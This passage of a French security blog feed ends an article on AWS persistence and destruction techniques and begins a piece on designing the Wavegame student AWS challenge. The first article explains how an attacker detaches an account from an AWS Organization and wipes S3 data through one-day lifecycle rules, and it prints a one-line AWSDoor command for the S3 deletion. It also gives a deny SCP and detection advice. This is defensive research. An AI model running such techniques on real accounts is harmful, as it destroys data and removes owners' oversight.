<p style="text-align: justify;">Du point de vue de l’entreprise, u<strong>ne fois que le compte a quitté l’AWS Organization, l’équipe de sécurité perd toute visibilité et autorité administrative sur celui-ci.</strong> Elle ne peut plus arrêter facilement les ressources impactées directement depuis son propre compte AWS.</p>
<p> </p>
<figure id="attachment_27364" aria-describedby="caption-attachment-27364" style="width: 1123px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27364" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-302x191.png" alt="Impact de la sortie d’une organisation AWS" width="1123" height="710" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-302x191.png 302w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-62x39.png 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-768x485.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word.png 1226w" sizes="auto, (max-width: 1123px) 100vw, 1123px" /><figcaption id="caption-attachment-27364" class="wp-caption-text"><em>Impact de la sortie d’une organisation AWS</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Sans accès administrateur au compte désormais isolé, <strong>l’entreprise n’a aucun moyen de désactiver les services</strong>, de suspendre la facturation ou de mettre fin à l’infrastructure compromise. Cela donne à l’attaquant une liberté opérationnelle totale, tandis que l’organisation se retrouve aveugle et incapable de réagir autrement qu’en sollicitant l’assistance AWS.</p>
<p> </p>
<h4>Privilèges requis</h4>
<p style="text-align: justify;">Pour exécuter l’action LeaveOrganization et <strong>détacher un compte AWS de son organisation</strong>, l’attaquant <strong>doit disposer de privilèges élevés au sein du compte ciblé</strong>. Plus précisément, les conditions et autorisations IAM suivantes sont requises :</p>
<ul>
<li style="text-align: justify;"><strong>Accès au niveau du compte </strong>: l’attaquant doit avoir un accès direct au compte membre qu’il souhaite détacher. Cela signifie qu’il doit déjà être authentifié dans ce compte AWS spécifique, soit via des identifiants volés, des jetons de session, ou en exploitant des rôles ou politiques IAM vulnérables.</li>
<li style="text-align: justify;"><strong>Permission organizations:LeaveOrganization </strong>: il s’agit de l’autorisation IAM clé nécessaire pour invoquer l’appel API LeaveOrganization. Elle doit être explicitement accordée dans les permissions effectives de l’attaquant. Cette action n’est valide que lorsqu’elle est exécutée depuis le compte membre, et non depuis le compte de gestion.</li>
<li style="text-align: justify;"><strong>Accès à la facturation </strong>: bien que non strictement requis pour quitter une organisation, un attaquant ayant accès à la facturation et aux paramètres du compte (via les actions aws-portal:*, account:* ou billing:*) peut renforcer sa position, mettre à jour les informations de contact ou verrouiller les utilisateurs légitimes après le détachement. De plus, la plupart des comptes créés au sein d’une organisation le sont sans informations de paiement (car elles sont héritées du compte payeur). Cependant, pour qu’un compte puisse être détaché et devenir autonome, ces informations doivent être renseignées.</li>
</ul>
<p> </p>
<h4>Défense and détection</h4>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Prévention des appels non autorisés à leaveorganization</span></h5>
<p style="text-align: justify;">Le contrôle le plus efficace est l’utilisation des <strong>Service Control Policies (SCP).</strong> Les SCP définissent les permissions maximales disponibles pour les comptes au sein d’une AWS Organization et peuvent refuser explicitement l’action organizations:LeaveOrganization, même si un utilisateur ou un rôle IAM local dispose de cette permission.</p>
<p style="text-align: justify;">L’opération LeaveOrganization est exécutée depuis le compte membre lui-même, et non par le compte de gestion. Cela signifie qu’un attaquant n’a pas besoin de compromettre entièrement l’organisation AWS pour détacher un compte.</p>
<p style="text-align: justify;">La SCP, <strong>définie au niveau de l’organisation, peut empêcher tout utilisateur des comptes de quitter l’organisation.</strong> Dans ce cas, l’attaquant doit d’abord compromettre l’ensemble de l’organisation AWS avant de pouvoir mener l’attaque.</p>
<p>La politique suivante empêchera tout usage abusif de LeaveOrganization :</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Sid": "DenyLeaveOrganization",<br />      "Effect": "Deny",<br />      "Action": "organizations:LeaveOrganization",<br />      "Resource": "*"<br />    }<br />  ]<br /><br />}</pre>
<p> </p>
<p style="text-align: justify;">Cette SCP doit <strong>être attachée directement à la racine de l’AWS Organization</strong> afin de garantir qu’elle s’applique à tous les comptes membres. Elle garantit qu’aucun compte ne puisse quitter unilatéralement l’organisation, même en cas de compromission.</p>
<p> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Détection et Monitoring</span></h5>
<p style="text-align: justify;">Même avec des SCP en place<strong>, la surveillance des tentatives de LeaveOrganization est essentielle pour une défense en profondeur</strong>. En effet, même si l’action LeaveOrganization échoue en raison de la SCP, disposer d’une surveillance sur l’événement LeaveOrganization peut aider à détecter qu’une attaque est en cours dans l’environnement AWS.</p>
<p style="text-align: justify;">Par exemple, une alarme CloudWatch pour déclencher des alertes lorsque l’événement LeaveOrganization ou DisablePolicyType se produit.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Destruction de bucket S3</h3>
<h4 style="text-align: justify;">Politique standard de suppression S3</h4>
<p style="text-align: justify;"><strong>Amazon S3 est l’un des services de stockage les plus utilisés et les plus fiables</strong> de l’écosystème AWS. Les organisations s’appuient sur lui pour stocker aussi bien des journaux et des fichiers que des données métier critiques et des sauvegardes. La destruction de données S3 peut avoir un impact bien plus important que la perte de quelques ressources de calcul, ce qui en fait une cible de grande valeur pour les attaquants.</p>
<p style="text-align: justify;">Si le téléversement et le stockage de données dans S3 sont simples, la suppression de volumes importants de données est volontairement coûteuse en ressources et chronophage. Lorsqu’un bucket S3 est supprimé ou vidé, AWS effectue une suppression récursive et séquentielle de chaque objet, ce qui peut prendre des heures, voire des jours, dans de grands environnements.</p>
<p style="text-align: justify;"><strong>De plus, AWS applique une cohérence finale (eventual consistency)</strong> sur les suppressions d’objets : même après une requête de suppression, <strong>les objets peuvent persister temporairement</strong>. Ces choix de conception offrent aux défenseurs une fenêtre temporelle cruciale pour détecter et contrer les tentatives de suppression avant qu’une perte de données irréversible ne survienne.</p>
<p style="text-align: justify;"> </p>
<h4 style="text-align: justify;">Politique de cycle de vie</h4>
<p style="text-align: justify;">Les politiques de cycle de vie Amazon S3 offrent un mécanisme automatisé pour <strong>gérer le cycle de vie du stockage</strong> des objets dans un bucket. Elles permettent de définir des règles qui transfèrent les objets vers différentes classes de stockage ou <strong>les font expirer (supprimer) après une période définie, selon des critères tels que l’âge de l’objet,</strong> un préfixe ou des balises. Cette automatisation aide les organisations à optimiser les coûts de stockage et à appliquer des politiques de conservation des données sans intervention manuelle.</p>
<p style="text-align: justify;">Cependant, <strong>les politiques de cycle de vie fonctionnent différemment des processus manuels</strong> <strong>et contournent les protections standard</strong> conçues pour ralentir les suppressions massives. Un attaquant ayant obtenu des privilèges élevés dans un compte AWS peut créer ou modifier une politique de cycle de vie afin de fixer l’expiration des objets à la durée minimale autorisée (1 jour). <strong>Une fois appliquée, cette politique est rétroactive :</strong> tous les objets existants dans le bucket seront marqués pour expiration et programmés pour suppression, et tous les nouveaux objets créés expireront peu après leur création.</p>
<p style="text-align: justify;"><strong>Contrairement aux suppressions manuelles, les expirations via une politique de cycle de vie sont gérées en interne par AWS</strong> à grande échelle et s’exécutent beaucoup plus rapidement. Cela peut permettre une suppression massive, rapide et furtive du contenu d’un bucket, sans générer le volume d’appels API ou le bruit opérationnel typique des suppressions récursives manuelles. Comme les modifications de politiques de cycle de vie peuvent ne pas déclencher d’alertes immédiates ou évidentes, un tel abus représente un risque important de destruction de données non détectée dans les environnements AWS.</p>
<p style="text-align: justify;">Étant donné que <strong>les politiques de cycle de vie sont appliquées quotidiennement, le défenseur dispose de moins d’une journée pour détecter la modification de la politique</strong>, retirer le marquage de suppression et révoquer l’accès de l’attaquant.</p>
<p> </p>
<h4>AWSDoor</h4>
<p>Cette technique est implémentée par AWSDoor:</p>
<pre>python .\main.py --m S3ShadowDelete -n s3bucketname</pre>
<p> </p>
<h4 style="text-align: justify;">Détection</h4>
<p style="text-align: justify;">La détection des suppressions furtives d’objets via les politiques de cycle de vie S3 peut facilement être manquée, car la suppression d’objets par expiration de cycle de vie ne génère pas d’événements DeleteObject standards dans CloudTrail, contrairement aux suppressions manuelles.</p>
<p style="text-align: justify;">À la place, AWS gère en interne le processus de suppression de manière asynchrone, sans attribuer ces suppressions à un utilisateur ou rôle spécifique. Par conséquent, de nombreuses solutions de surveillance de sécurité ne reconnaissent pas cette action comme malveillante, alors qu’elle vise à impacter la disponibilité des données. <strong>Le seul indicateur fiable d’une telle opération est l’événement API PutBucketLifecycleConfiguration,</strong> qui journalise la création ou la mise à jour d’une règle de cycle de vie définissant un nouveau paramètre d’expiration (Expiration).</p>
<p style="text-align: justify;">Pour détecter un abus potentiel, il convient de configurer une règle CloudWatch afin de surveiller les événements PutBucketLifecycleConfiguration et d’inspecter automatiquement la nouvelle configuration de politique. Si la politique inclut une action d’expiration fixée à la durée minimale autorisée (1 jour) ou s’applique largement à tous les objets, cela doit être considéré comme un changement à haut risque.</p>
<p style="text-align: justify;">Dans les environnements sensibles, de tels changements de configuration devraient déclencher des alertes immédiates, <strong>une remédiation automatique</strong> et nécessiter une validation manuelle. Comme cette méthode contourne la traçabilité habituelle des suppressions au niveau objet, une détection précoce au niveau de la configuration est essentielle pour éviter une perte de données silencieuse et à grande échelle : l’équipe de défense ne disposera que d’une journée pour réagir.</p>
<p> </p>
<h2>Conclusion</h2>
<h3>CSPM</h3>
<p style="text-align: justify;">L’article a montré comment les configurations IAM peuvent être exploitées de manière furtive pour maintenir un accès à long terme dans des environnements AWS. Des techniques telles que l’injection de clés d’accès (AccessKey injection), l’ajout de portes dérobées dans les politiques de confiance (trust policy backdooring) et l’utilisation de politiques NotAction permettent aux attaquants de persister sans déployer de logiciel malveillant ni déclencher d’alertes.</p>
<p style="text-align: justify;">Une solution de Cloud Security Posture Management (CSPM) joue un rôle clé dans la prévention de ces abus. En surveillant en continu les configurations IAM, en détectant les politiques trop permissives et en identifiant les écarts par rapport aux référentiels de conformité, un CSPM peut mettre rapidement en évidence des changements suspects. Par exemple, il peut signaler la création de nouvelles clés d’accès pour des utilisateurs qui utilisent habituellement le SSO, ou détecter l’établissement de relations de confiance avec des comptes externes. Ces capacités aident à empêcher qu’une persistance basée sur IAM ne s’installe durablement.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">EDR</h3>
<p style="text-align: justify;">Au-delà d’IAM, les attaquants peuvent exploiter directement les ressources AWS, telles que les fonctions Lambda et les instances EC2, pour maintenir un accès. L’article a détaillé comment des Lambda layers compromises, des rôles sur‑privilégiés et des tunnels inversés basés sur SSM peuvent être utilisés pour persister sans modifier directement IAM.</p>
<p style="text-align: justify;">Un Cloud EDR complète un CSPM en se concentrant sur le comportement à l’exécution et le contexte d’exécution. Il peut détecter des exécutions Lambda inhabituelles, des expositions inattendues via API Gateway, ou des instances EC2 initiant des tunnels sortants. En corrélant ces comportements avec le contexte d’identité et les changements récents de configuration, un EDR Cloud peut mettre en lumière des techniques de persistance qui passeraient autrement inaperçues. Cette visibilité comportementale est essentielle pour détecter en temps réel la persistance basée sur les ressources.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Backup et journalisation</h3>
<p style="text-align: justify;">Enfin, l’article a exploré comment des attaquants peuvent altérer la visibilité et la capacité de récupération en ciblant les mécanismes de journalisation et de sauvegarde. La désactivation de CloudTrail, la modification des sélecteurs d’événements, le déploiement de politiques de cycle de vie pour une suppression silencieuse dans S3 ou le détachement de comptes d’une AWS Organization sont autant de techniques qui réduisent la supervision et permettent un compromis ou une destruction à long terme.</p>
<p style="text-align: justify;">Là encore, un CSPM et un EDR Cloud offrent des défenses complémentaires. Un CSPM peut détecter des erreurs de configuration dans les pipelines de journalisation, des modifications non autorisées de politiques de cycle de vie ou des tentatives de quitter l’organisation. De son côté, un EDR Cloud peut repérer l’absence de télémétrie attendue, des baisses soudaines du volume de journaux ou des appels API destructeurs. Ensemble, ils garantissent que les capacités de visibilité et de récupération restent intactes, même en cas d’attaque active.</p>
<p> </p>
<p> </p>
















<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/09/awsdoor-persistance-sur-aws/">AWSDoor : Persistance sur AWS</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2025/09/awsdoor-persistance-sur-aws/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Comment construire un coding game Cloud public étape par étape ? </title>
		<link>https://www.riskinsight-wavestone.com/2024/06/comment-construire-un-coding-game-cloud-public-etape-par-etape/</link>
					<comments>https://www.riskinsight-wavestone.com/2024/06/comment-construire-un-coding-game-cloud-public-etape-par-etape/#respond</comments>
		
		<dc:creator><![CDATA[Arnaud PETITCOL]]></dc:creator>
		<pubDate>Thu, 13 Jun 2024 12:38:59 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[students]]></category>
		<category><![CDATA[wavegame]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=23285</guid>

					<description><![CDATA[<p>Etape 0 : contexte et objectifs  Le Wavegame est un challenge inter-école créé en 2019 qui vise à promouvoir l’expertise cybersécurité et le métier du conseil. La compétition comporte deux volets, le premier étant réservé aux étudiants en commerce et...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2024/06/comment-construire-un-coding-game-cloud-public-etape-par-etape/">Comment construire un coding game Cloud public étape par étape ? </a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2><b><span data-contrast="none">Etape 0 :</span></b><span data-contrast="none"> contexte et objectifs</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:360}"> </span></h2>
<p style="text-align: justify;"><span data-contrast="none">Le Wavegame est un challenge inter-école créé en 2019 qui vise à promouvoir l’expertise cybersécurité et le métier du conseil. La compétition comporte deux volets, le premier étant réservé aux étudiants en commerce et le second aux étudiants en informatique. La partie technique consiste en 2 exercices de qualification et un événement final. Cet article aborde le deuxième exercice où, dans sa saison 2023, 33 équipes se sont affrontées autour de la sécurisation d’une infrastructure Cloud AWS.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">Sur fond d’une intrigue futuriste, les étudiants devenus consultants ont été mandatés par France Fusion, une entreprise chargée d’exploiter les premières usines à fusion nucléaire du pays. France Fusion souhaitait mettre au point une plateforme de supervision dans le Cloud. Pour ce faire, les données d’équipements industriels collectées, relevant de la propriété intellectuelle de France Fusion, devaient être analysées au travers d’une base de données ElasticSearch. </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">Démarré sous la forme d’un Proof of Concept (PoC) en marge des équipes sécurité, une équipe de développeurs est parvenue à déployer une architecture fonctionnelle sur AWS. Les étudiants sont alors amenés à sécuriser l’infrastructure en respectant les politiques Cloud public de France Fusion. Le défi technique était de taille : déployer une infrastructure vulnérable en libre-service sur 33 comptes AWS. Il s&rsquo;agissait également d&rsquo;accorder aux étudiants un accès administrateur et les autorisations nécessaires pour effectuer des modifications directement depuis la console AWS, le tout avec un budget limité compte tenu du nombre de participants. </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">Dans cet article, nous allons vous partager la recette qui a permis de faire de ce défi une réalité.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<h2><b><span data-contrast="none">Etape 1 :</span></b><span data-contrast="none"> Mettre sur le papier une architecture portant une dimension pédagogique</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:851,&quot;335559738&quot;:240,&quot;335559739&quot;:360,&quot;335559991&quot;:851}"> </span></h2>
<p style="text-align: justify;"><span data-contrast="none">Avant de nous lancer dans le développement du </span><i><span data-contrast="none">coding game</span></i><span data-contrast="none">, nous avons pris en compte 4 contraintes : </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<ul>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="1" data-aria-level="1"><b><span data-contrast="none">La population cible</span></b><span data-contrast="none"> : s’agissant d’étudiants, il est primordial de tenir compte de l’hétérogénéité en matière de connaissances Cloud. Par conséquent, nous nous sommes concentrés sur l&rsquo;utilisation des services essentiels AWS (e.g., S3, EC2, Lambda), car ce sont des ressources bien documentées et parce que les étudiants sont susceptibles de les avoir abordés en classe ou dans le cadre de projets personnels.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
<li><b><span data-contrast="none">Le thème :</span></b><span data-contrast="none"> c’est un élément crucial pour immerger les étudiants dans un contexte de mission client. Nous avons donc cherché à créer une architecture aussi réaliste que possible. Ainsi, le choix de déployer une suite ELK (Elasticsearch, Logstash, Kibana) sur une instance EC2 nous a paru pertinent pour un PoC lié à de la supervision.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="3" data-aria-level="1"><b><span data-contrast="none">Les coûts :</span></b><span data-contrast="none"> sachant que l’infrastructure doit être accessible par des étudiants pendant 2 semaines et qu’elle doit être répliquée sur 33 comptes AWS, nous avions tout intérêt à optimiser les coûts. Pour y parvenir, nous avons utilisé le calculateur de tarification AWS pour estimer les coûts, opté pour une région à faible coût et construit l&rsquo;infrastructure autour de services « paiement à l’utilisation » tels que les fonctions Lambda.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
<li><b><span data-contrast="none">Les échéances : </span></b><span data-contrast="none">pour faire face à un calendrier rapproché, nous avons défini des objectifs et des jalons avec une marge suffisante pour surmonter les éventuelles contraintes techniques. Les principales étapes du projet sont le développement, les tests, la création de comptes et le déploiement.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
</ul>
<p style="text-align: justify;"><span data-contrast="none">Le schéma d’architecture « vulnérable » ci-dessous reflète ces 4 contraintes (</span><i><span data-contrast="none">Figure 1</span></i><span data-contrast="none">). L’équipement industriel est simulé par une fonction Lambda (Datalake) qui va générer des logs et les envoyer dans un </span><i><span data-contrast="none">bucket</span></i><span data-contrast="none"> S3 (Datalake). Une seconde fonction Lambda (ELK) est alors déclenchée par une notification S3. Elle va récupérer le fichier de logs et l’envoyer dans la base ElasticSearch (image Docker dans une instance EC2). Enfin, l’interface Kibana est accessible depuis Internet pour l’analyse des logs. </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;134245418&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:0}"> <img loading="lazy" decoding="async" class="aligncenter wp-image-23292 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/1.jpg" alt="" width="1477" height="608" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/1.jpg 1477w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/1-437x180.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/1-71x29.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/1-768x316.jpg 768w" sizes="auto, (max-width: 1477px) 100vw, 1477px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="none">Figure </span></i><i><span data-contrast="none">1</span></i><i><span data-contrast="none"> :</span></i><i><span data-contrast="none"> schéma d’architecture initiale du Wavegame 2023</span></i><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:851,&quot;335559739&quot;:120,&quot;335559991&quot;:851,&quot;469777462&quot;:[851],&quot;469777927&quot;:[0],&quot;469777928&quot;:[1]}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<h2><b><span data-contrast="none">Etape 2 :</span></b><span data-contrast="none"> Concevoir une architecture sécurisée basée sur des politiques sécurité du Cloud public</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:360}"> </span></h2>
<p style="text-align: justify;"><span data-contrast="none">Maintenant que nous avons notre scénario initial, il s’agit de concevoir des politiques du Cloud public qui vont fixer les exigences sécurité et les critères d’évaluation. Pour cela, nous avons adapté des bonnes pratiques de sécurité mises en œuvre chez nos clients dont voici un extrait :</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<ul>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="5" data-aria-level="1"><span data-contrast="none">AWS-01 : Toutes les ressources AWS doivent utiliser des rôles IAM spécifiques à leurs besoins et respectant le principe du moindre privilège.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
<li><span data-contrast="none">AWS-02 : Toutes les ressources AWS doivent être connectées et/ou attachées à un réseau privé (VPC).</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="7" data-aria-level="1"><span data-contrast="none">AWS-03 : Les instances EC2 ne doivent pas être accessibles au public via Internet.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
<li><span data-contrast="none">AWS-04 : Tous les logs d&rsquo;infrastructure générés par les services AWS doivent être envoyés à CloudWatch.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
<li><span data-contrast="none">AWS-05 : Le volume Amazon EBS racine doit être chiffré sur toutes les instances EC2.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="10" data-aria-level="1"><span data-contrast="none">AWS-06 : les données dans le </span><i><span data-contrast="none">bucket</span></i><span data-contrast="none"> S3 doivent être chiffrées.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
</ul>
<p style="text-align: justify;"><span data-contrast="none">À partir des politiques du Cloud public, nous avons élaboré l&rsquo;architecture sécurisée suivante (</span><i><span data-contrast="none">Figure 2</span></i><span data-contrast="none">) :</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> <img loading="lazy" decoding="async" class="aligncenter wp-image-23294 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/2.jpg" alt="" width="1366" height="695" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/2.jpg 1366w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/2-375x191.jpg 375w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/2-71x36.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/2-768x391.jpg 768w" sizes="auto, (max-width: 1366px) 100vw, 1366px" /></span></p>
<p style="text-align: center;"><span data-ccp-props="{&quot;134245418&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span><i><span data-contrast="none">Figure </span></i><i><span data-contrast="none">2</span></i><i><span data-contrast="none">:</span></i><i><span data-contrast="none"> schéma d’architecture cible du Wavegame 2023</span></i><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:851,&quot;335559739&quot;:120,&quot;335559991&quot;:851,&quot;469777462&quot;:[851],&quot;469777927&quot;:[0],&quot;469777928&quot;:[1]}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">En résumé, l’ensemble des ressources Calcul sont positionnées dans un sous-réseau privé, le </span><i><span data-contrast="none">bucket</span></i><span data-contrast="none"> S3 est accédé via un point de terminaison VPC, la plateforme de supervision ELK est accédée via une machine virtuelle de rebond. Les services </span><i><span data-contrast="none">Cloudwatch</span></i><span data-contrast="none"> et </span><i><span data-contrast="none">CloudTrail</span></i><span data-contrast="none"> sont activés pour le monitoring et la supervision. Des </span><i><span data-contrast="none">security groups</span></i><span data-contrast="none"> sont attachés aux ressources pour n’autoriser que les communications entrantes strictement nécessaires.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p> </p>
<h2><b><span data-contrast="none">Etape 3 :</span></b><span data-contrast="none"> passer du design au développement en Terraform</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:360}"> </span></h2>
<p style="text-align: justify;"><span data-contrast="none">Pour construire le </span><i><span data-contrast="none">coding game</span></i><span data-contrast="none">, nous avons créé et maintenu 2 architectures distinctes, représentées par 2 branches distinctes dans Github. La première étant l&rsquo;architecture vulnérable qui sera déployée initialement, et la seconde étant la solution qui sert de garantie de faisabilité. Cette « </span><i><span data-contrast="none">garantie de faisabilité</span></i><span data-contrast="none"> » signifie que 3 points obligatoires sont remplis :</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<ul>
